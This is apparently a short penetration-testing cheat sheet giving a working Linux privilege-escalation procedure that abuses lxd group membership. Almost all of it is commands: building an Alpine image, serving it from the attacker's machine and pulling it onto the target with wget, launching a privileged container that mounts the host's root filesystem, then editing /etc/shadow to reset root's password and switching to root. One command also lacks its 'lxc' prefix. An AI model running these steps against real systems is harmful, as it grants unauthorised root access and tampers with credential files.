LXD (Group)
lxd = linux container daemon
*on your machine
>>> git clone https://github.com/saghul/lxd-alpine-builder.git
>>> cd lxd-alpine-builder
>>> cd rootfs/usr/share
>>> mkdir alpine-mirrors
>>> cd alpine-mirrors
>>> vi MIRRORS.txt
#add the following into MIRRORS.txt:
http://alpine.mirror.wearetriple.com
>>> cd ../../../../ [ lxd-alpine-builder ]
>>> sudo ./build-alpine
>>> ls [ now it will generate a .tar file ]
>>> python3 -m http.server 80
*on target machine
>>> wget <our_IP>/<.tar_file_name>
>>> lxd init
#skip all steps default ....just press Enter...
>>> lxc image import ./<.tar_file_name> --alias privesc
>>> lxc image list
>>> lxc init privesc privesc-container -c security.privileged=true
>>> lxc list
>>> config device add privesc-container mydevice disk source=/ path=/mnt/root recursive=true
>>> lxc start privesc-container
>>> lxc list
>>> lxc exec privesc-container /bin/sh
>>> cd /
>>> cd mnt/root
>>> ls
>>> vim etc/shadow [ edit the root's password ]
>>> exit
>>> su root
#
Last updated